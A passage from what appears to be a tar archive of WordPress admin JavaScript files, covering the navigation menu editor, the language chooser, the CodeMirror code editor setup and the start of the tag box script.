) ); $( '#pending-menu-items-to-delete ul' ).append( $li ); } $( '#pending-menu-items-to-delete li .separator' ).html( ', ' ); $( '#pending-menu-items-to-delete li .separator' ).last().html( '.' ); }); }, /** * Set status of bulk delete checkbox. * * @since 5.8.0 */ setBulkDeleteCheckboxStatus : function() { var that = this; var checkbox = $( '#menu-to-edit .menu-item-checkbox' ); $.each( checkbox, function() { if ( $(this).prop( 'disabled' ) ) { $(this).prop( 'disabled', false ); } else { $(this).prop( 'disabled', true ); } if ( $(this).is( ':checked' ) ) { $(this).prop( 'checked', false ); } }); that.setRemoveSelectedButtonStatus(); }, /** * Set status of menu items removal button. * * @since 5.8.0 */ setRemoveSelectedButtonStatus : function() { var button = $( '.menu-items-delete' ); if ( $( '.menu-item-checkbox:checked' ).length > 0 ) { button.removeClass( 'disabled' ); } else { button.addClass( 'disabled' ); } }, attachMenuSaveSubmitListeners : function() { /* * When a navigation menu is saved, store a JSON representation of all form data * in a single input to avoid PHP `max_input_vars` limitations. See #14134. */ $( '#update-nav-menu' ).on( 'submit', function() { var navMenuData = $( '#update-nav-menu' ).serializeArray(); $( '[name="nav-menu-data"]' ).val( JSON.stringify( navMenuData ) ); }); }, attachThemeLocationsListeners : function() { var loc = $('#nav-menu-theme-locations'), params = {}; params.action = 'menu-locations-save'; params['menu-settings-column-nonce'] = $('#menu-settings-column-nonce').val(); loc.find('input[type="submit"]').on( 'click', function() { loc.find('select').each(function() { params[this.name] = $(this).val(); }); loc.find( '.spinner' ).addClass( 'is-active' ); $.post( ajaxurl, params, function() { loc.find( '.spinner' ).removeClass( 'is-active' ); }); return false; }); }, attachQuickSearchListeners : function() { var searchTimer; // Prevent form submission. $( '#nav-menu-meta' ).on( 'submit', function( event ) { event.preventDefault(); }); $( '#nav-menu-meta' ).on( 'input', '.quick-search', function() { var $this = $( this ); $this.attr( 'autocomplete', 'off' ); if ( searchTimer ) { clearTimeout( searchTimer ); } searchTimer = setTimeout( function() { api.updateQuickSearchResults( $this ); }, 500 ); }).on( 'blur', '.quick-search', function() { api.lastSearch = ''; }); }, updateQuickSearchResults : function(input) { var panel, params, minSearchLength = 1, q = input.val(), pageSearchChecklist = $( '#page-search-checklist' ); /* * Avoid a new Ajax search when the pressed key (e.g. arrows) * doesn't change the searched term. */ if ( api.lastSearch == q ) { return; } /* * Reset results when search is less than or equal to * minimum characters for searched term. */ if ( q.length <= minSearchLength ) { pageSearchChecklist.empty(); wp.a11y.speak( wp.i18n.__( 'Search results cleared' ) ); return; } api.lastSearch = q; panel = input.parents('.tabs-panel'); params = { 'action': 'menu-quick-search', 'response-format': 'markup', 'menu': $('#menu').val(), 'menu-settings-column-nonce': $('#menu-settings-column-nonce').val(), 'q': q, 'type': input.attr('name') }; $( '.spinner', panel ).addClass( 'is-active' ); $.post( ajaxurl, params, function(menuMarkup) { api.processQuickSearchQueryResponse(menuMarkup, params, panel); }); }, addCustomLink : function( processMethod ) { var url = $('#custom-menu-item-url').val().toString(), label = $('#custom-menu-item-name').val(), urlRegex; if ( '' !== url ) { url = url.trim(); } processMethod = processMethod || api.addMenuItemToBottom; /* * Allow URLs including: * - http://example.com/ * - //example.com * - /directory/ * - ?query-param * - #target * - mailto:foo@example.com * * Any further validation will be handled on the server when the setting is attempted to be saved, * so this pattern does not need to be complete. */ urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/; if ( ! urlRegex.test( url ) ) { $('#customlinkdiv').addClass('form-invalid'); return false; } // Show the Ajax spinner. $( '.customlinkdiv .spinner' ).addClass( 'is-active' ); this.addLinkToMenu( url, label, processMethod, function() { // Remove the Ajax spinner. $( '.customlinkdiv .spinner' ).removeClass( 'is-active' ); // Set custom link form back to defaults. $('#custom-menu-item-name').val('').trigger( 'blur' ); $( '#custom-menu-item-url' ).val( '' ).attr( 'placeholder', 'https://' ); }); }, addLinkToMenu : function(url, label, processMethod, callback) { processMethod = processMethod || api.addMenuItemToBottom; callback = callback || function(){}; api.addItemToMenu({ '-1': { 'menu-item-type': 'custom', 'menu-item-url': url, 'menu-item-title': label } }, processMethod, callback); }, addItemToMenu : function(menuItem, processMethod, callback) { var menu = $('#menu').val(), nonce = $('#menu-settings-column-nonce').val(), params; processMethod = processMethod || function(){}; callback = callback || function(){}; params = { 'action': 'add-menu-item', 'menu': menu, 'menu-settings-column-nonce': nonce, 'menu-item': menuItem }; $.post( ajaxurl, params, function(menuMarkup) { var ins = $('#menu-instructions'); menuMarkup = menuMarkup || ''; menuMarkup = menuMarkup.toString().trim(); // Trim leading whitespaces. processMethod(menuMarkup, params); // Make it stand out a bit more visually, by adding a fadeIn. $( 'li.pending' ).hide().fadeIn('slow'); $( '.drag-instructions' ).show(); if( ! ins.hasClass( 'menu-instructions-inactive' ) && ins.siblings().length ) ins.addClass( 'menu-instructions-inactive' ); callback(); }); }, /** * Process the add menu item request response into menu list item. Appends to menu. * * @param {string} menuMarkup The text server response of menu item markup. * * @fires document#menu-item-added Passes menuMarkup as a jQuery object. */ addMenuItemToBottom : function( menuMarkup ) { var $menuMarkup = $( menuMarkup ); $menuMarkup.hideAdvancedMenuItemFields().appendTo( api.targetList ); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); wp.a11y.speak( menus.itemAdded ); $( document ).trigger( 'menu-item-added', [ $menuMarkup ] ); }, /** * Process the add menu item request response into menu list item. Prepends to menu. * * @param {string} menuMarkup The text server response of menu item markup. * * @fires document#menu-item-added Passes menuMarkup as a jQuery object. */ addMenuItemToTop : function( menuMarkup ) { var $menuMarkup = $( menuMarkup ); $menuMarkup.hideAdvancedMenuItemFields().prependTo( api.targetList ); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); wp.a11y.speak( menus.itemAdded ); $( document ).trigger( 'menu-item-added', [ $menuMarkup ] ); }, attachUnsavedChangesListener : function() { $('#menu-management input, #menu-management select, #menu-management, #menu-management textarea, .menu-location-menus select').on( 'change', function(){ api.registerChange(); }); if ( 0 !== $('#menu-to-edit').length || 0 !== $('.menu-location-menus select').length ) { window.onbeforeunload = function(){ if ( api.menusChanged ) return wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' ); }; } else { // Make the post boxes read-only, as they can't be used yet. $( '#menu-settings-column' ).find( 'input,select' ).end().find( 'a' ).attr( 'href', '#' ).off( 'click' ); } }, registerChange : function() { api.menusChanged = true; }, attachTabsPanelListeners : function() { $('#menu-settings-column').on('click', function(e) { var selectAreaMatch, selectAll, panelId, wrapper, items, target = $(e.target); if ( target.hasClass('nav-tab-link') ) { panelId = target.data( 'type' ); wrapper = target.parents('.accordion-section-content').first(); // Upon changing tabs, we want to uncheck all checkboxes. $( 'input', wrapper ).prop( 'checked', false ); $('.tabs-panel-active', wrapper).removeClass('tabs-panel-active').addClass('tabs-panel-inactive'); $('#' + panelId, wrapper).removeClass('tabs-panel-inactive').addClass('tabs-panel-active'); $('.tabs', wrapper).removeClass('tabs'); target.parent().addClass('tabs'); // Select the search bar. $('.quick-search', wrapper).trigger( 'focus' ); // Hide controls in the search tab if no items found. if ( ! wrapper.find( '.tabs-panel-active .menu-item-title' ).length ) { wrapper.addClass( 'has-no-menu-item' ); } else { wrapper.removeClass( 'has-no-menu-item' ); } e.preventDefault(); } else if ( target.hasClass( 'select-all' ) ) { selectAreaMatch = target.closest( '.button-controls' ).data( 'items-type' ); if ( selectAreaMatch ) { items = $( '#' + selectAreaMatch + ' .tabs-panel-active .menu-item-title input' ); if ( items.length === items.filter( ':checked' ).length && ! target.is( ':checked' ) ) { items.prop( 'checked', false ); } else if ( target.is( ':checked' ) ) { items.prop( 'checked', true ); } } } else if ( target.hasClass( 'menu-item-checkbox' ) ) { selectAreaMatch = target.closest( '.tabs-panel-active' ).parent().attr( 'id' ); if ( selectAreaMatch ) { items = $( '#' + selectAreaMatch + ' .tabs-panel-active .menu-item-title input' ); selectAll = $( '.button-controls[data-items-type="' + selectAreaMatch + '"] .select-all' ); if ( items.length === items.filter( ':checked' ).length && ! selectAll.is( ':checked' ) ) { selectAll.prop( 'checked', true ); } else if ( selectAll.is( ':checked' ) ) { selectAll.prop( 'checked', false ); } } } else if ( target.hasClass('submit-add-to-menu') ) { api.registerChange(); if ( e.target.id && 'submit-customlinkdiv' == e.target.id ) api.addCustomLink( api.addMenuItemToBottom ); else if ( e.target.id && -1 != e.target.id.indexOf('submit-') ) $('#' + e.target.id.replace(/submit-/, '')).addSelectedToMenu( api.addMenuItemToBottom ); return false; } }); /* * Delegate the `click` event and attach it just to the pagination * links thus excluding the current page `<span>`. See ticket #35577. */ $( '#nav-menu-meta' ).on( 'click', 'a.page-numbers', function() { var $container = $( this ).closest( '.inside' ); $.post( ajaxurl, this.href.replace( /.*\?/, '' ).replace( /action=([^&]*)/, '' ) + '&action=menu-get-metabox', function( resp ) { var metaBoxData = JSON.parse( resp ), toReplace; if ( -1 === resp.indexOf( 'replace-id' ) ) { return; } // Get the post type menu meta box to update. toReplace = document.getElementById( metaBoxData['replace-id'] ); if ( ! metaBoxData.markup || ! toReplace ) { return; } // Update the post type menu meta box with new content from the response. $container.html( metaBoxData.markup ); } ); return false; }); }, eventOnClickEditLink : function(clickedEl) { var settings, item, matchedSection = /#(.*)$/.exec(clickedEl.href); if ( matchedSection && matchedSection[1] ) { settings = $('#'+matchedSection[1]); item = settings.parent(); if( 0 !== item.length ) { if( item.hasClass('menu-item-edit-inactive') ) { if( ! settings.data('menu-item-data') ) { settings.data( 'menu-item-data', settings.getItemData() ); } settings.slideDown('fast'); item.removeClass('menu-item-edit-inactive') .addClass('menu-item-edit-active'); } else { settings.slideUp('fast'); item.removeClass('menu-item-edit-active') .addClass('menu-item-edit-inactive'); } return false; } } }, eventOnClickCancelLink : function(clickedEl) { var settings = $( clickedEl ).closest( '.menu-item-settings' ), thisMenuItem = $( clickedEl ).closest( '.menu-item' ); thisMenuItem.removeClass( 'menu-item-edit-active' ).addClass( 'menu-item-edit-inactive' ); settings.setItemData( settings.data( 'menu-item-data' ) ).hide(); // Restore the title of the currently active/expanded menu item. thisMenuItem.find( '.menu-item-title' ).text( settings.data( 'menu-item-data' )['menu-item-title'] ); return false; }, eventOnClickMenuSave : function() { var menuName = $('#menu-name'), menuNameVal = menuName.val(); // Cancel and warn if invalid menu name. if ( ! menuNameVal || ! menuNameVal.replace( /\s+/, '' ) ) { menuName.parent().addClass( 'form-invalid' ); return false; } // Copy menu theme locations. // Note: This appears to be dead code since #nav-menu-theme-locations no longer exists, perhaps removed in r32842. var $updateNavMenu = $('#update-nav-menu'); $('#nav-menu-theme-locations select').each(function() { $updateNavMenu.append( $( '<input>', { type: 'hidden', name: this.name, value: $( this ).val(), } ) ); }); // Update menu item position data. api.menuList.find('.menu-item-data-position').val( function(index) { return index + 1; } ); window.onbeforeunload = null; return true; }, eventOnClickMenuDelete : function() { // Delete warning AYS. if ( window.confirm( wp.i18n.__( 'You are about to permanently delete this menu.\n\'Cancel\' to stop, \'OK\' to delete.' ) ) ) { window.onbeforeunload = null; return true; } return false; }, eventOnClickMenuItemDelete : function(clickedEl) { var itemID = parseInt(clickedEl.id.replace('delete-', ''), 10); api.removeMenuItem( $('#menu-item-' + itemID) ); api.registerChange(); return false; }, /** * Process the quick search response into a search result * * @param string resp The server response to the query. * @param object req The request arguments. * @param jQuery panel The tabs panel we're searching in. */ processQuickSearchQueryResponse : function(resp, req, panel) { var matched, newID, takenIDs = {}, form = document.getElementById('nav-menu-meta'), pattern = /menu-item[(\[^]\]*/, $items = $('<div>').html(resp).find('li'), wrapper = panel.closest( '.accordion-section-content' ), selectAll = wrapper.find( '.button-controls .select-all' ), $item; if( ! $items.length ) { let noResults = wp.i18n.__( 'No results found.' ); const li = $( '<li>' ); const p = $( '<p>', { text: noResults } ); li.append( p ); $('.categorychecklist', panel).empty().append( li ); $( '.spinner', panel ).removeClass( 'is-active' ); wrapper.addClass( 'has-no-menu-item' ); wp.a11y.speak( noResults, 'assertive' ); return; } $items.each(function(){ $item = $(this); // Make a unique DB ID number. matched = pattern.exec($item.html()); if ( matched && matched[1] ) { newID = matched[1]; while( form.elements['menu-item[' + newID + '][menu-item-type]'] || takenIDs[ newID ] ) { newID--; } takenIDs[newID] = true; if ( newID != matched[1] ) { $item.html( $item.html().replace(new RegExp( 'menu-item\\[' + matched[1] + '\\]', 'g'), 'menu-item[' + newID + ']' ) ); } } }); $('.categorychecklist', panel).html( $items ); wp.a11y.speak( wp.i18n.sprintf( wp.i18n.__( '%d Search Results Found' ), $items.length ), 'assertive' ); $( '.spinner', panel ).removeClass( 'is-active' ); wrapper.removeClass( 'has-no-menu-item' ); if ( selectAll.is( ':checked' ) ) { selectAll.prop( 'checked', false ); } }, /** * Remove a menu item. * * @param {Object} el The element to be removed as a jQuery object. * * @fires document#menu-removing-item Passes the element to be removed. */ removeMenuItem : function(el) { var children = el.childMenuItems(); $( document ).trigger( 'menu-removing-item', [ el ] ); el.addClass('deleting').animate({ opacity : 0, height: 0 }, 350, function() { var ins = $('#menu-instructions'); el.remove(); children.shiftDepthClass( -1 ).updateParentMenuItemDBId(); if ( 0 === $( '#menu-to-edit li' ).length ) { $( '.drag-instructions' ).hide(); ins.removeClass( 'menu-instructions-inactive' ); } api.refreshAdvancedAccessibility(); wp.a11y.speak( menus.itemRemoved ); $( '#menu-to-edit' ).updateParentDropdown(); $( '#menu-to-edit' ).updateOrderDropdown(); }); }, depthToPx : function(depth) { return depth * api.options.menuItemDepthPerLevel; }, pxToDepth : function(px) { return Math.floor(px / api.options.menuItemDepthPerLevel); } }; $( function() { wpNavMenu.init(); // Prevent focused element from being hidden by the sticky footer. $( '.menu-edit a, .menu-edit button, .menu-edit input, .menu-edit textarea, .menu-edit select' ).on('focus', function() { if ( window.innerWidth >= 783 ) { var navMenuHeight = $( '#nav-menu-footer' ).height() + 20; var bottomOffset = $(this).offset().top - ( $(window).scrollTop() + $(window).height() - $(this).height() ); if ( bottomOffset > 0 ) { bottomOffset = 0; } bottomOffset = bottomOffset * -1; if( bottomOffset < navMenuHeight ) { var scrollTop = $(document).scrollTop(); $(document).scrollTop( scrollTop + ( navMenuHeight - bottomOffset ) ); } } }); }); // Show bulk action. $( document ).on( 'menu-item-added', function() { if ( ! $( '.bulk-actions' ).is( ':visible' ) ) { $( '.bulk-actions' ).show(); } } ); // Hide bulk action. $( document ).on( 'menu-removing-item', function( e, el ) { var menuElement = $( el ).parents( '#menu-to-edit' ); if ( menuElement.find( 'li' ).length === 1 && $( '.bulk-actions' ).is( ':visible' ) ) { $( '.bulk-actions' ).hide(); } } ); })(jQuery); js/language-chooser.min.js 0000644 00000000647 15233246127 0011537 0 ustar 00 /*! This file is auto-generated */ jQuery(function(n){var e=n("#language"),a=n("#language-continue");n("body").hasClass("language-chooser")&&(e.trigger("focus").on("change",function(){var n=e.children("option:selected");a.attr({value:n.data("continue"),lang:n.attr("lang")})}),n("form").on("submit",function(){e.children("option:selected").data("installed")||n(this).find(".step .spinner").css("visibility","visible")}))}); js/code-editor.js 0000644 00000043053 15233246127 0007726 0 ustar 00 /** * @output wp-admin/js/code-editor.js */ /* global console */ /* eslint-env es2020 */ if ( 'undefined' === typeof window.wp ) { /** * @namespace wp */ window.wp = {}; } if ( 'undefined' === typeof window.wp.codeEditor ) { /** * @namespace wp.codeEditor */ window.wp.codeEditor = {}; } /** * @typedef {object} CodeMirrorState * @property {boolean} [completionActive] - Whether completion is active. * @property {boolean} [focused] - Whether the editor is focused. */ /** * @typedef {import('codemirror').EditorFromTextArea & { * options: import('codemirror').EditorConfiguration, * performLint?: () => void, * showHint?: (options: import('codemirror').ShowHintOptions) => void, * state: CodeMirrorState * }} CodeMirrorEditor */ /** * @typedef {object} LintAnnotation * @property {string} message - Message. * @property {'error'|'warning'} severity - Severity. * @property {import('codemirror').Position} from - From position. * @property {import('codemirror').Position} to - To position. */ /** * @typedef {object} CodeMirrorTokenState * @property {object} [htmlState] - HTML state. * @property {string} [htmlState.tagName] - Tag name. * @property {CodeMirrorTokenState} [curState] - Current state. */ /** * @typedef {import('codemirror').EditorConfiguration & { * lint?: boolean | CombinedLintOptions, * autoCloseBrackets?: boolean, * matchBrackets?: boolean, * continueComments?: boolean, * styleActiveLine?: boolean * }} CodeMirrorSettings */ /** * @typedef {object} CSSLintRules * @property {boolean} [errors] - Errors. * @property {boolean} [box-model] - Box model rules. * @property {boolean} [display-property-grouping] - Display property grouping rules. * @property {boolean} [duplicate-properties] - Duplicate properties rules. * @property {boolean} [known-properties] - Known properties rules. * @property {boolean} [outline-none] - Outline none rules. */ /** * @typedef {object} JSHintRules * @property {number} [esversion] - ECMAScript version. * @property {boolean} [module] - Whether to use modules. * @property {boolean} [boss] - Whether to allow assignments in control expressions. * @property {boolean} [curly] - Whether to require curly braces. * @property {boolean} [eqeqeq] - Whether to require === and !==. * @property {boolean} [eqnull] - Whether to allow == null. * @property {boolean} [expr] - Whether to allow expressions. * @property {boolean} [immed] - Whether to require immediate function invocation. * @property {boolean} [noarg] - Whether to prohibit arguments.caller/callee. * @property {boolean} [nonbsp] - Whether to prohibit non-breaking spaces. * @property {string} [quotmark] - Quote mark preference. * @property {boolean} [undef] - Whether to prohibit undefined variables. * @property {boolean} [unused] - Whether to prohibit unused variables. * @property {boolean} [browser] - Whether to enable browser globals. * @property {Record<string, boolean>} [globals] - Global variables. */ /** * @typedef {object} HTMLHintRules * @property {boolean} [tagname-lowercase] - Tag name lowercase rules. * @property {boolean} [attr-lowercase] - Attribute lowercase rules. * @property {boolean} [attr-value-double-quotes] - Attribute value double quotes rules. * @property {boolean} [doctype-first] - Doctype first rules. * @property {boolean} [tag-pair] - Tag pair rules. * @property {boolean} [spec-char-escape] - Spec char escape rules. * @property {boolean} [id-unique] - ID unique rules. * @property {boolean} [src-not-empty] - Src not empty rules. * @property {boolean} [attr-no-duplication] - Attribute no duplication rules. * @property {boolean} [alt-require] - Alt require rules. * @property {string} [space-tab-mixed-disabled] - Space tab mixed disabled rules. * @property {boolean} [attr-unsafe-chars] - Attribute unsafe chars rules. * @property {JSHintRules} [jshint] - JSHint rules. * @property {CSSLintRules} [csslint] - CSSLint rules. */ /** * Settings for the code editor. * * @typedef {object} CodeEditorSettings * * @property {CodeMirrorSettings} [codemirror] - CodeMirror settings. * @property {CSSLintRules} [csslint] - CSSLint rules. * @property {JSHintRules} [jshint] - JSHint rules. * @property {HTMLHintRules} [htmlhint] - HTMLHint rules. * * @property {(codemirror: CodeMirrorEditor, event: KeyboardEvent|JQuery.KeyDownEvent) => void} [onTabNext] - Callback to handle tabbing to the next tabbable element. * @property {(codemirror: CodeMirrorEditor, event: KeyboardEvent|JQuery.KeyDownEvent) => void} [onTabPrevious] - Callback to handle tabbing to the previous tabbable element. * @property {(errorAnnotations: LintAnnotation[], annotations: LintAnnotation[], annotationsSorted: LintAnnotation[], cm: CodeMirrorEditor) => void} [onChangeLintingErrors] - Callback for when the linting errors have changed. * @property {(errorAnnotations: LintAnnotation[], editor: CodeMirrorEditor) => void} [onUpdateErrorNotice] - Callback for when error notice should be displayed. */ /** * @typedef {import('codemirror/addon/lint/lint').LintStateOptions<Record<string, unknown>> & JSHintRules & CSSLintRules & { rules?: HTMLHintRules }} CombinedLintOptions */ /** * @typedef {object} CodeEditorInstance * @property {CodeEditorSettings} settings - The code editor settings. * @property {CodeMirrorEditor} codemirror - The CodeMirror instance. * @property {() => void} updateErrorNotice - Force update the error notice. */ /** * @typedef {object} WpCodeEditor * @property {CodeEditorSettings} defaultSettings - Default settings. * @property {(textarea: string|JQuery|Element, settings?: CodeEditorSettings) => CodeEditorInstance} initialize - Initialize. */ /** * @param {JQueryStatic} $ - jQuery. * @param {Object & { * codeEditor: WpCodeEditor, * CodeMirror: typeof import('codemirror'), * }} wp - WordPress namespace. */ ( function( $, wp ) { 'use strict'; /** * Default settings for code editor. * * @since 4.9.0 * @type {CodeEditorSettings} */ wp.codeEditor.defaultSettings = { codemirror: {}, csslint: {}, htmlhint: {}, jshint: {}, onTabNext: function() {}, onTabPrevious: function() {}, onChangeLintingErrors: function() {}, onUpdateErrorNotice: function() {}, }; /** * Configure linting. * * @param {CodeEditorSettings} settings - Code editor settings. * * @return {LintingController} Linting controller. */ function configureLinting( settings ) { // eslint-disable-line complexity /** @type {LintAnnotation[]} */ let currentErrorAnnotations = []; /** @type {LintAnnotation[]} */ let previouslyShownErrorAnnotations = []; /** * Call the onUpdateErrorNotice if there are new errors to show. * * @param {import('codemirror').Editor} editor - Editor. * @return {void} */ function updateErrorNotice( editor ) { if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) { settings.onUpdateErrorNotice( currentErrorAnnotations, /** @type {CodeMirrorEditor} */ ( editor ) ); previouslyShownErrorAnnotations = currentErrorAnnotations; } } /** * Get lint options. * * @return {CombinedLintOptions|false} Lint options. */ function getLintOptions() { // eslint-disable-line complexity /** @type {CombinedLintOptions | boolean} */ let options = settings.codemirror?.lint ?? false; if ( ! options ) { return false; } if ( true === options ) { options = {}; } else if ( _.isObject( options ) ) { options = $.extend( {}, options ); } const linterOptions = /** @type {CombinedLintOptions} */ ( options ); // Configure JSHint. if ( 'javascript' === settings.codemirror?.mode && settings.jshint ) { $.extend( linterOptions, settings.jshint ); } // Configure CSSLint. if ( 'css' === settings.codemirror?.mode && settings.csslint ) { $.extend( linterOptions, settings.csslint ); } // Configure HTMLHint. if ( 'htmlmixed' === settings.codemirror?.mode && settings.htmlhint ) { linterOptions.rules = $.extend( {}, settings.htmlhint ); if ( settings.jshint && linterOptions.rules ) { linterOptions.rules.jshint = settings.jshint; } if ( settings.csslint && linterOptions.rules ) { linterOptions.rules.csslint = settings.csslint; } } // Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice. linterOptions.onUpdateLinting = (function( onUpdateLintingOverridden ) { /** * @param {LintAnnotation[]} annotations - Annotations. * @param {LintAnnotation[]} annotationsSorted - Sorted annotations. * @param {CodeMirrorEditor} cm - Editor. */ return function( annotations, annotationsSorted, cm ) { const errorAnnotations = annotations.filter( function( annotation ) { return 'error' === annotation.severity; } ); if ( onUpdateLintingOverridden ) { onUpdateLintingOverridden( annotations, annotationsSorted, cm ); } // Skip if there are no changes to the errors. if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) { return; } currentErrorAnnotations = errorAnnotations; if ( settings.onChangeLintingErrors ) { settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm ); } /* * Update notifications when the editor is not focused to prevent error message * from overwhelming the user during input, unless there are now no errors or there * were previously errors shown. In these cases, update immediately so they can know * that they fixed the errors. */ if ( ! cm.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) { updateErrorNotice( cm ); } }; })( linterOptions.onUpdateLinting ); return linterOptions; } return { getLintOptions, /** * @param {CodeMirrorEditor} editor - Editor instance. * @return {void} */ init: function( editor ) { // Keep lint options populated. editor.on( 'optionChange', function( _cm, option ) { const gutterName = 'CodeMirror-lint-markers'; if ( 'lint' !== ( /** @type {string} */ ( option ) ) ) { return; } const gutters = ( /** @type {string[]} */ ( editor.getOption( 'gutters' ) ) ) || []; const options = editor.getOption( 'lint' ); if ( true === options ) { if ( ! _.contains( gutters, gutterName ) ) { editor.setOption( 'gutters', [ gutterName ].concat( gutters ) ); } editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options. } else if ( ! options ) { editor.setOption( 'gutters', _.without( gutters, gutterName ) ); } // Force update on error notice to show or hide. if ( editor.getOption( 'lint' ) && editor.performLint ) { editor.performLint(); } else { currentErrorAnnotations = []; updateErrorNotice( editor ); } } ); // Update error notice when leaving the editor. editor.on( 'blur', updateErrorNotice ); // Work around hint selection with mouse causing focus to leave editor. editor.on( 'startCompletion', function() { editor.off( 'blur', updateErrorNotice ); } ); editor.on( 'endCompletion', function() { const editorRefocusWait = 500; editor.on( 'blur', updateErrorNotice ); // Wait for editor to possibly get re-focused after selection. _.delay( function() { if ( ! editor.state.focused ) { updateErrorNotice( editor ); } }, editorRefocusWait ); } ); /* * Make sure setting validities are set if the user tries to click Publish * while an autocomplete dropdown is still open. The Customizer will block * saving when a setting has an error notifications on it. This is only * necessary for mouse interactions because keyboards will have already * blurred the field and cause onUpdateErrorNotice to have already been * called. */ $( document.body ).on( 'mousedown', function( /** @type {JQuery.MouseDownEvent} */ event ) { if ( editor.state.focused && ! editor.getWrapperElement().contains( event.target ) && ! event.target.classList.contains( 'CodeMirror-hint' ) ) { updateErrorNotice( editor ); } } ); }, /** * @param {CodeMirrorEditor} editor - Editor instance. * @return {void} */ updateErrorNotice, }; } /** * Configure tabbing. * * @param {CodeMirrorEditor} codemirror - Editor. * @param {CodeEditorSettings} settings - Code editor settings. * * @return {void} */ function configureTabbing( codemirror, settings ) { const $textarea = $( codemirror.getTextArea() ); codemirror.on( 'blur', function() { $textarea.data( 'next-tab-blurs', false ); }); codemirror.on( 'keydown', function onKeydown( _editor, event ) { // Take note of the ESC keypress so that the next TAB can focus outside the editor. if ( 'Escape' === event.key ) { $textarea.data( 'next-tab-blurs', true ); return; } // Short-circuit if tab key is not being pressed or the tab key press should move focus. if ( 'Tab' !== event.key || ! $textarea.data( 'next-tab-blurs' ) ) { return; } // Focus on previous or next focusable item. if ( event.shiftKey && settings.onTabPrevious ) { settings.onTabPrevious( codemirror, event ); } else if ( ! event.shiftKey && settings.onTabNext ) { settings.onTabNext( codemirror, event ); } // Reset tab state. $textarea.data( 'next-tab-blurs', false ); // Prevent tab character from being added. event.preventDefault(); }); } /** * @typedef {object} LintingController * @property {() => CombinedLintOptions|false} getLintOptions - Get lint options. * @property {(editor: CodeMirrorEditor) => void} init - Initialize. * @property {(editor: import('codemirror').Editor) => void} updateErrorNotice - Update error notice. */ /** * Initialize Code Editor (CodeMirror) for an existing textarea. * * @since 4.9.0 * * @param {string|JQuery<HTMLElement>|HTMLElement} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor. * @param {CodeEditorSettings} [settings] - Settings to override defaults. * * @return {CodeEditorInstance} Instance. */ wp.codeEditor.initialize = function initialize( textarea, settings ) { if ( document.readyState === 'loading' ) { console.warn( 'wp.codeEditor.initialize() ran too early. Invoke this function in a `DOMContentLoaded` event listener.' ); } let $textarea; if ( 'string' === typeof textarea ) { $textarea = $( '#' + textarea ); } else { $textarea = $( textarea ); } /** @type {CodeEditorSettings} */ const instanceSettings = $.extend( true, {}, wp.codeEditor.defaultSettings, settings ); const lintingController = configureLinting( instanceSettings ); if ( instanceSettings.codemirror ) { instanceSettings.codemirror.lint = lintingController.getLintOptions(); } const codemirror = /** @type {CodeMirrorEditor} */ ( wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror ) ); lintingController.init( codemirror ); /** @type {CodeEditorInstance} */ const instance = { settings: instanceSettings, codemirror, updateErrorNotice: function() { lintingController.updateErrorNotice( codemirror ); }, }; if ( codemirror.showHint ) { codemirror.on( 'inputRead', function( _editor, change ) { // Only trigger autocompletion for typed input or IME composition. if ( ! change.origin || ( '+input' !== change.origin && ! change.origin.startsWith( '*compose' ) ) ) { return; } // Only trigger autocompletion for single-character inputs. // The text property is an array of strings, one for each line. // We check that there is only one line and that line has only one character. if ( 1 !== change.text.length || 1 !== change.text[0].length ) { return; } const char = change.text[0]; const isAlphaKey = /^[a-zA-Z]$/.test( char ); if ( codemirror.state.completionActive && isAlphaKey ) { return; } // Prevent autocompletion in string literals or comments. const token = /** @type {import('codemirror').Token & { state: CodeMirrorTokenState }} */ ( codemirror.getTokenAt( codemirror.getCursor() ) ); if ( 'string' === token.type || 'comment' === token.type ) { return; } const innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name; const doc = codemirror.getDoc(); const lineBeforeCursor = doc.getLine( doc.getCursor().line ).slice( 0, doc.getCursor().ch ); let shouldAutocomplete = false; if ( 'html' === innerMode || 'xml' === innerMode ) { shouldAutocomplete = ( '<' === char || ( '/' === char && 'tag' === token.type ) || ( isAlphaKey && 'tag' === token.type ) || ( isAlphaKey && 'attribute' === token.type ) || ( '=' === char && !! ( token.state.htmlState?.tagName || token.state.curState?.htmlState?.tagName ) ) ); } else if ( 'css' === innerMode ) { shouldAutocomplete = isAlphaKey || ':' === char || ( ' ' === char && /:\s+$/.test( lineBeforeCursor ) ); } else if ( 'javascript' === innerMode ) { shouldAutocomplete = isAlphaKey || '.' === char; } else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) { shouldAutocomplete = isAlphaKey && ( 'keyword' === token.type || 'variable' === token.type ); } if ( shouldAutocomplete ) { codemirror.showHint( { completeSingle: false } ); } } ); } // Facilitate tabbing out of the editor. configureTabbing( codemirror, instanceSettings ); return instance; }; })( jQuery, window.wp ); js/tags-box.js 0000644 00000025604 15233246127 0007256 0 ustar 00 /** * @output wp-admin/js/tags-box.js */ /* jshint curly: false, eqeqeq: false */ /* global ajaxurl, tagBox, array_unique_noempty */ ( function( $ ) { var tagDelimiter = wp.i18n._x( ',', 'tag delimiter' ) || ','; /** * Filters unique items and returns a new array. * * Filters all items from an array into a new array containing only the unique * items. This also excludes whitespace or empty values. * * @since 2.8.0 * * @global * * @param {Array} array The array to filter through. * * @return {Array} A new array containing only the unique items. */ window.array_unique_noempty = function( array ) { var out = []; // Trim the values and ensure they are unique. $.each( array, function( key, val ) { val = val || ''; val = val.trim(); if ( val && $.inArray( val, out ) === -1 ) { out.push( val ); } } ); return out; }; /** * The TagBox object. * * Contains functions to create and manage tags that can be associated with a * post. * * @since 2.9.0 * * @global */ window.tagBox = { /** * Cleans up tags by removing redundant characters. * * @since 2.9.0 * * @memberOf tagBox * * @param {string} tags 